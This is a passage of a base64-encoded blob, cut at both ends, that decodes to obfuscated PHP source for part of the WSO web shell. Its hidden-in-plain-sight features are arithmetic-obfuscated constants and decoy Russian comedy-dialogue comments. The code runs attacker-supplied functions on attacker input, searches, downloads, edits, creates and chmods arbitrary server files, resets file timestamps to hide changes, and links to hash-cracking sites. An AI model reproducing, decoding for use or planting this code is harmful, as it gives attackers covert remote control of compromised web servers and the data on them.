INC/0L7QsdGL0YHRgtGA0LXQuSEgKi8KICAgICAgICAgICAgICR2KSBlY2hvIC8qIDxBdm9uPjog0JDRgNC40YHRgtGD0LnRgtC1INC10LPQviwg0L7QvSDQvdCw0YEg0L/Rg9Cz0LDQtdGCLCDRjyDRh9GD0YLRjCDQvdC1INC+0LHQvtGB0YHQsNC70YHRjyEgKi8KICAgICAgICAiPG9wdGlvbiB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHYpIC4gIic+IiAuICRrIC4gIjwvb3B0aW9uPiI7CiAgICBlY2hvIC8qIDxQZXRlcj46INCe0L0g0LzQvtC4INC60L7QvNC/0LDQutGCLdC00LjRgdC60Lgg0YHQutGD0LrQvtC20LjQuyEgKi8KICAgICAgICAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIgLiAoQCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA/ICdjaGVja2VkJyA6ICcnKSAuICI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iIC4gKGVtcHR5KCRfUE9TVFsncDEnXSkgPyAnJyA6IGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkpIC4gIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIgLiAoZW1wdHkoJF9QT1NUWydwMSddKSA/ICdkaXNwbGF5Om5vbmU7JyA6ICcnKSAuICJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsKICAgIGlmICghZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIGlmIChpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpIGVjaG8gLyogPFBvbGljZW1hbj46INCi0LDQui3RgtCw0LouINCS0YHQtdC8INGB0L/QvtC60L7QudC90L4sINGH0ZEg0LfQsCDQv9GA0L7QsdC70LXQvNGLPyAqLwogICAgICAgIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOwogICAgfQogICAgZWNobyAiPC9wcmU+PC9kaXY+PGJyPjxoMT5TZWFyY2ggZmlsZXM6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMudGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+CiAgICAgICAgPHRyPjx0ZCB3aWR0aD0nMSUnPlRleHQ6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RleHQnIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CiAgICAgICAgPHRyPjx0ZD5QYXRoOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjd2QnIHZhbHVlPSciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4KICAgICAgICA8dHI+PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1ZT0nKicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4KICAgICAgICA8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPgogICAgPC90YWJsZT48L2Zvcm0+IjsKICAgIGZ1bmN0aW9uIC8qIDxBdm9uPjog0K8g0LTQtdGA0LbQsNC7INC10LHQsNC70LDQudC60YMsINCwINC+0L0g0LXRkSDRg9Cy0LXQu9C40YfQuNC7INC00L4g0LzQsNGI0LjQvdGLLCDRh9GR0YLRjCDQvdC1INC/0YDQuNC00LDQstC40LvQviwg0LAg0LXRidGRINGDINC60LXQv9C60Lgg0L/QvtGB0YLQvtGP0L3QvdC+INGA0LDQt9C80LXRgCDQvNC10L3Rj9C10YIsINCy0L7RgiEg0KfRkSDQvNC90LUg0YLQtdC/0LXRgNGMLCDQvdCwINC60L7Qu9C10L3QutC1INC90L7RgdC40YLRjCwg0YfRgtC+INC70Lg/ICovCiAgICB3c29SZWN1cnNpdmVHbG9iKCRwYXRoKQogICAgewogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC1yb3VuZCgwICsgMC41ICsgMC41KSkgIT0gLyogPFBvbGljZW1hbj46INCQ0LPQsCwg0L3RgyDQstGB0ZEg0L/QvtC90Y/RgtC90L4uLi4gPHRvIERhdmlkIEJsYXluZT4g0JLRiywg0YHRjdGALCDRgNCw0LfQstC10YDQvdC40YLQtdGB0Ywg0Lgg0LLRgdGC0LDQvdGM0YLQtSDQu9C40YbQvtC8INC6INGB0YLQtdC90LUuICovCiAgICAgICAgICAgICcvJwogICAgICAgICkgJHBhdGggLj0gJy8nOwogICAgICAgICRwYXRocyA9IEBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoIC4gJF9QT1NUWydwMyddKSwgQGdsb2IoJHBhdGggLiAnKicsIEdMT0JfT05MWURJUikpKTsKICAgICAgICBpZiAoaXNfYXJyYXkoJHBhdGhzKSAmJiBAY291bnQoJHBhdGhzKSkgewogICAgICAgICAgICBmb3JlYWNoICgkcGF0aHMgLyogPEF2b24+OiDQo9C50LTQuCEgKi8KICAgICAgICAgICAgICAgICAgICAgYXMgLyogPFBldGVyPjog0JXQs9C+INC90LXQvtCx0YXQvtC00LjQvNC+INCw0YDQtdGB0YLQvtCy0LDRgtGMINC30LAg0YLQviwg0YfRgtC+INC+0L0g0L7RgtC/0YDQsNCy0LjQuyDQvNC10L3RjyDQstC+INCy0YDQtdC80LXQvdCwINC00LjQvdC+0LfQsNCy0YDQvtCyLCDQsCDRjyDRgtCw0Lwg0YfRg9GC0Ywg0L3QtSDRgdC00L7RhSEg0K8g0LXRgdGC0Ywg0YXQvtGC0LXQuywg0Lgg0LzQvdC1INC/0YDQuNGI0LvQvtGB0Ywg0YPQutGA0LDRgdGC0Ywg0Y/QudGG0L4g0YEg0LTQuNC90L7Qt9Cw0LLRgNC40LrQvtC8LCDQuCDQvNCw0LzQsCDQtNC40L3QvtC30LDQstGA0LAg0LPQvdCw0LvQsNGB0Ywg0LfQsCDQvNC90L7QuSDQv9C+0YLQvtC8INC4INC30LDQs9C90LDQu9CwINC80LXQvdGPINCyINCj0JPQntCbISEhICovCiAgICAgICAgICAgICAgICAgICAgICRpdGVtKSB7CiAgICAgICAgICAgICAgICBpZiAoQGlzX2RpcigkaXRlbSkpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHBhdGggIT0gJGl0ZW0pIHdzb1JlY3Vyc2l2ZUdsb2IoJGl0ZW0pOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9QT1NUWydwMiddKSB8fCBAc3RycG9zKGZpbGVfZ2V0X2NvbnRlbnRzKCRpdGVtKSwgJF9QT1NUWydwMiddKSAhPT0gZmFsc2UpIGVjaG8gLyogPEF2b24+OiDQlNCw0LbQtSDQvdC1INC/0YDQvtC60LDRgtC40LvRgdGPISAqLwogICAgICAgICAgICAgICAgICAgICAgICAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIixudWxsLFwiIiAuIHVybGVuY29kZSgkaXRlbSkgLiAiXCIsIFwidmlld1wiLFwiXCIpJz4iIC4gaHRtbHNwZWNpYWxjaGFycygkaXRlbSkgLiAiPC9hPjxicj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIGlmIChAJF9QT1NUWydwMyddKSB3c29SZWN1cnNpdmVHbG9iKCRfUE9TVFsnYyddKTsKICAgIGVjaG8gLyogPFBldGVyPjog0K8g0LLQtdGB0Ywg0LjQt9Cz0L7QstC90Y/QutCw0LvRgdGPISAqLwogICAgIjwvZGl2Pjxicj48aDE+U2VhcmNoIGZvciBoYXNoOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPgogICAgICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+CiAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0JyB2YWx1ZT0nZmluZCcvPgogICAgICAgIDxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2tpbmcucnUnIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHBzOi8vaGFzaGNyYWNraW5nLnJ1L2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CiAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KICAgICAgICA8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nY3JhY2tmb3IubWUnIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9jcmFja2Zvci5tZS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgogICAgPC9mb3JtPjwvZGl2PiI7CiAgICB3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gLyogPEF2b24+OiDQkCDRjdGC0L7RgiDQtNC+0LvQsdC+0YLRgNGP0YEg0LTQsNC20LUg0L3QtSDQv9C+0LrQsNGC0LDQu9GB0Y8g0L3QsCDQvdC40YUsINC+0L3QuCDQsdGL0LvQuCDQt9C70YvQtSEgKi8KYWN0aW9uRmlsZXNUb29scygpCnsKICAgIGlmIChpc3NldCgkX1BPU1RbJ3AxJ10pKSAkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsKICAgIGlmIChAJF9QT1NUWydwMiddID09ICdkb3dubG9hZCcpIHsKICAgICAgICBpZiAoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgcm91bmQoMCArIDgxOS4yICsgODE5LjIgKyA4MTkuMiArIDgxOS4yICsgODE5LjIpKTsKICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsKICAgICAgICAgICAgICAgICR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICR0eXBlKTsKICAgICAgICAgICAgfSBlbHNlIC8qIDxQb2xpY2VtYW4+OiDQktGB0ZEg0L/QvtC90Y/RgtC90L4uLi4g0JTQsNCy0LDQudGC0LUg0L/QviDQv9C+0YDRj9C00LrRgy4g0J3QsNC30L7QstC40YLQtSDRgdCy0L7QuCDQuNC80LXQvdCwLiAqLwogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7CiAgICAgICAgICAgIGlmICgkZnApIHsKICAgICAgICAgICAgICAgIHdoaWxlICghQGZlb2YoJGZwKSkgZWNobyBAZnJlYWQoJGZwLCByb3VuZCgwICsgNTEyICsgNTEyKSk7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBleGl0OwogICAgfQogICAgaWYgKEAkX1BPU1RbJ3AyJ10gPT0gLyogPFBldGVyPjogLi4uciBnIHUgZiBhIG4uLi4gKi8KICAgICAgICAnbWtmaWxlJwogICAgKSB7CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7CiAgICAgICAgICAgIGlmICgkZnApIHsKICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICJlZGl0IjsKICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgd3NvSGVhZGVyKCk7CiAgICBlY2hvIC8qIDxBdm9uPjogUGV0ZXIgUGVzenluc2tpICovCiAgICAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgaWYgKCFmaWxlX2V4aXN0cyhAJF9QT1NUWydwMSddKSkgewogICAgICAgIGVjaG8gLyogPFBldGVyPjog0KMg0YLQtdCx0Y8g0L/QvtC70YzRgdC60LDRjyDRhNCw0LzQuNC70LjRjyEgKi8KICAgICAgICAnRmlsZSBub3QgZXhpc3RzJzsKICAgICAgICB3c29Gb290ZXIoKTsKICAgICAgICByZXR1cm47CiAgICB9CiAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CiAgICBpZiAoISR1aWQpIHsKICAgICAgICAkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7CiAgICAgICAgJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOwogICAgfSBlbHNlIC8qIDxQZXRlcj46INCV0LPQviDQvdC10L7QsdGF0L7QtNC40LzQviDQsNGA0LXRgdGC0L7QstCw0YLRjCwg0YLQsNC8LCDQsiDRgtGO0YDRjNC80YMg0L/QvtGB0LDQtNC40YLRjCDQuNC70Lgg0LXRidGRINC60YPQtNCwLCDQvdGDLCDQsiDQvtCx0YnQtdC8LCDQt9Cw0LrRgNGL0YLRjCDQvdCw0LLRgdC10LPQtNCwINC10LPQviEgKi8KICAgICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsKICAgIGVjaG8gLyogPEF2b24+OiDQntC9INC90LDQvCDQttC40LfQvdGMINGA0LDQt9GA0YPRiNC40Lsg0YPQttC1ISAqLwogICAgICAgICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJyAuIGh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpIC4gJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJyAuIChpc19maWxlKCRfUE9TVFsncDEnXSkgPyB3c29WaWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKSA6ICctJykgLiAnIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnIC4gd3NvUGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pIC4gJyA8c3Bhbj5Pd25lci9Hcm91cDo8L3NwYW4+ICcgLiAkdWlkWyduYW1lJ10gLiAnLycgLiAkZ2lkWyduYW1lJ10gLiAnPGJyPic7CiAgICBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiA8aW4gdGhlIHBvbGljZW1hbidzIHN1aXQ+INCl0L7RgNC+0YjQvi4uLiDQryDQv9C+0YHQvNC+0YLRgNGOLCDRh9GC0L4g0Y8g0YHQvNC+0LPRgyDQtNC70Y8g0LLQsNGBINGB0LTQtdC70LDRgtGMLi4uICovCiAgICAgICAgJzxzcGFuPkNoYW5nZSB0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJywgZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpIC4gJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcgLiBkYXRlKCdZLW0tZCBIOmk6cycsIGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKSAuICcgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnIC4gZGF0ZSgnWS1tLWQgSDppOnMnLCBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkgLiAnPGJyPjxicj4nOwogICAgaWYgKGVtcHR5KCRfUE9TVFsncDInXSkpICRfUE9TVFsncDInXSA9ICd2aWV3JzsKICAgIGlmIChpc19maWxlKCRfUE9TVFsncDEnXSkpICRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsgZWxzZSAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4LCDRhNCw0Log0LzQvtC5INC80L7Qt9CzISEhICovCiAgICAkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKICAgIGZvcmVhY2ggKCRtIC8qIDxQZXRlcj46INCn0ZEg0LfQsCDRhdGD0LnQvdGPLCDRkdC80LDQvdCw0YDQvtC+0L7QvtC+0YIhISEg0K8g0YnQsNGBINC+0LHQvtGB0YHRg9GB0YwhICovCiAgICAgICAgICAgICBhcyAvKiA8PT09PT1lbmQgb2YgcGFydD09PT09PiAqLwogICAgICAgICAgICAgJHYpIGVjaG8gLyogPD09PT09c3RyZWV0IG1hZ2ljPT09PT0+ICovCiAgICAgICAgJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxcJycgLiBzdHJ0b2xvd2VyKCR2KSAuICdcJykiPicgLiAoKHN0cnRvbG93ZXIoJHYpID09IEAkX1BPU1RbJ3AyJ10pID8gJzxiPlsgJyAuICR2IC4gJyBdPC9iPicgOiAkdikgLiAnPC9hPiAnOwogICAgZWNobyAvKiA8RGF2aWQgQmxhaW5lPjog0JDQs9CwLCDQstC+0YIg0Y3RgtC4INGA0LXQsdGP0YLQsC4uLiAqLwogICAgJzxicj48YnI+JzsKICAgIHN3aXRjaCAoJF9QT1NUWydwMiddKSB7CiAgICAgICAgY2FzZSAvKiA8UGV0ZXI+OiDQndC10L3QtdC90LXQvdC10L3QtSEhICovCiAgICAgICAgJ3ZpZXcnOgogICAgICAgICAgICBlY2hvIC8qIDxBdm9uPjog0J3QtdGCLCDQvdC10YIsINCU0Y3QstC40LQg0JHQu9C10LnQvSwg0L3QtdGCISAqLwogICAgICAgICAgICAnPHByZSBjbGFzcz1tbDE+JzsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKICAgICAgICAgICAgaWYgKCRmcCkgewogICAgICAgICAgICAgICAgd2hpbGUgKCFAZmVvZigkZnApKSBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQryDQtNC10LvQsNGOINC+0YHQvtCx0YPRjiwg0YPQu9C40YfQvdGD0Y4g0LzQsNCz0LjRji4gKi8KICAgICAgICAgICAgICAgIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgcm91bmQoMCArIDM0MS4zMzMzMzMzMzMzMyArIDM0MS4zMzMzMzMzMzMzMyArIDM0MS4zMzMzMzMzMzMzMykpKTsKICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQmtGC0L4g0YXQvtGH0LXRgiDRg9Cy0LjQtNC10YLRjCDQvdC10LzQvdC+0LPQviDQvNCw0LPQuNC4PyAqLwogICAgICAgICAgICAnPC9wcmU+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAvKiA8QXZvbj46INCn0ZEg0LzRiyDRgtC10LHQtSwg0LTQvtC70LHQvtGC0YDRj9GB0Ysg0LrQsNC60LjQtS3QvdC40LHRg9C00Yw/INCd0LXRgiwg0YHQv9Cw0YHQuNCx0L4hICovCiAgICAgICAgJ2hpZ2hsaWdodCc6CiAgICAgICAgICAgIGlmIChAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQnNGLINGG0LXQu9GL0Lkg0LTQtdC90Ywg0YjQvtC/0LjQu9C40YHRjCwg0LfQsNC80LDQvdCw0LvQuNGB0YwsINGF0L7RgtC40Lwg0L/RgNC+0YHRgtC+INC+0YLQtNC+0YXQvdGD0YLRjCwg0LLRgdGRISAqLwogICAgICAgICAgICAgICAgJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsKICAgICAgICAgICAgICAgICRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSwgdHJ1ZSk7CiAgICAgICAgICAgICAgICBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQmCDQs9C00LUg0LLRiyDRiNC+0L/QuNC70LjRgdGMPyAqLwogICAgICAgICAgICAgICAgICAgIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCAnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywgJzwvZm9udD4nKSwgJGNvZGUpIC4gJzwvZGl2Pic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAvKiA8UGV0ZXI+OiDQkiDQvtC00LjQvSDQvNCw0LPQsNC3INGF0L7QtNC40LvQuCDQvdC+0LLRi9C5ISAqLwogICAgICAgICdjaG1vZCc6CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwMyddKSkgewogICAgICAgICAgICAgICAgJHBlcm1zID0gcm91bmQoMCk7CiAgICAgICAgICAgICAgICBmb3IgKCRpID0gc3RybGVuKCRfUE9TVFsncDMnXSkgLSByb3VuZCgwICsgMC4yNSArIDAuMjUgKyAwLjI1ICsgMC4yNSk7ICRpID49IHJvdW5kKDApOyAtLSRpKSAkcGVybXMgLyogPEF2b24+OiDQntC9INC10YnRkSDQvdC1INGC0YDQtdC90LTQvtCy0YvQuSwg0YLRiyDQv9GA0L4g0L3QtdCz0L4g0L3QtSDQt9C90LDQtdGI0YwuICovCiAgICAgICAgICAgICAgICAgICAgKz0gLyogPERhdmlkIEJsYWluZT46INCYINGH0L4g0LrRg9C/0LjQu9C4PyAqLwogICAgICAgICAgICAgICAgICAgIChpbnQpJF9QT1NUWydwMyddWyRpXSAqIHBvdyhyb3VuZCgwICsgMS42ICsgMS42ICsgMS42ICsgMS42ICsgMS42KSwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pIC0gJGkgLSByb3VuZCgwICsgMC41ICsgMC41KSkpOwogICAgICAgICAgICAgICAgaWYgKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKSBlY2hvIC8qIDxBdm9uPjog0K8g0LrRg9C/0LjQuyDQt9C10LvQtdC90YvQuSDRgdCy0LjRgtC10YAsINC10YHQu9C4INGC0Ysg0YLQsNC6INGF0L7Rh9C10YjRjCDQt9C90LDRgtGMISAqLwogICAgICAgICAgICAgICAgJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBjbGVhcnN0YXRjYWNoZSgpOwogICAgICAgICAgICBlY2hvIC8qIDxQZXRlcj46INCX0LXQu9C10L3Ri9C5INGB0LLQuNGC0LXRgCEgKi8KICAgICAgICAgICAgICAgICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9IicgLiBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksIC1yb3VuZCgwICsgMS4zMzMzMzMzMzMzMzMzICsgMS4zMzMzMzMzMzMzMzMzICsgMS4zMzMzMzMzMzMzMzMzKSkgLiAnIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAvKiA8RGF2aWQgQmxhaW5lPjog0JjQvdGC0LXRgNC10YHQvdC+Li4uINCQINGC0Ysg0YPQstC10YDQtdC9LCDRh9GC0L4g0YLRiyDQvdC1INC60YPQv9C40Lsg0YLQtdC00LTQuCDQsdC10LDRgCwg0L/Qu9GO0YjQtdCy0L7Qs9C+INC80LjRiNC60YM/ICovCiAgICAgICAgJ2VkaXQnOgogICAgICAgICAgICBpZiAoIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gLyogPEF2b24+OiDQlNCwLCDRjyDRg9Cy0LXRgNC10L0hICovCiAgICAgICAgICAgICAgICAnRmlsZSBpc25cJ3Qgd3JpdGVhYmxlJzsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwMyddKSkgewogICAgICAgICAgICAgICAgJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLCByb3VuZCgwICsgMC4yICsgMC4yICsgMC4yICsgMC4yICsgMC4yKSk7CiAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAidyIpOwogICAgICAgICAgICAgICAgaWYgKCRmcCkgewogICAgICAgICAgICAgICAgICAgIEBmd3JpdGUoJGZwLCAkX1BPU1RbJ3AzJ10pOwogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgICAgICBlY2hvIC8qIDxBdm9uPjog0KLQldCU0JTQmCDQkdCY0KAhISAqLwogICAgICAgICAgICAgICAgICAgICdTYXZlZCE8YnI+PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgICAgICBAdG91Y2goJF9QT1NUWydwMSddLCAkdGltZSwgJHRpbWUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gLyogPFBldGVyPjog0KfRkSDQt9CwINGF0LXRgNGMISAqLwogICAgICAgICAgICAgICAgJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLFwnMVwnK3RoaXMudGV4dC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9dGV4dCBjbGFzcz1iaWdhcmVhPic7CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CiAgICAgICAgICAgIGlmICgkZnApIHsKICAgICAgICAgICAgICAgIHdoaWxlICghQGZlb2YoJGZwKSkgZWNobyAvKiA8UGV0ZXI+OiDQrSwg0YLRiyDRh9C+INGB0LTQtdC70LDQuy3RgtC+LCDQsD8hICovCiAgICAgICAgICAgICAgICBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIHJvdW5kKDAgKyAxMDI0KSkpOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gLyogPEF2b24+OiDQk9C00LUg0LzQvtC5INGB0LLQuNGC0LXRgD8gKi8KICAgICAgICAgICAgJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgLyogPFBldGVyPjog0K3QuSwg0L7QvSDQutGD0L/QuNC7INGB0LLQuNGC0LXRgCwg0LAg0L7QvSDQuNGB0YfQtdC3LCDRjdGC0L4g0YLRiyDQtdCz0L4g0YHRgtGL0YDQuNC7PyDQn9GA0LjRgtGL0Y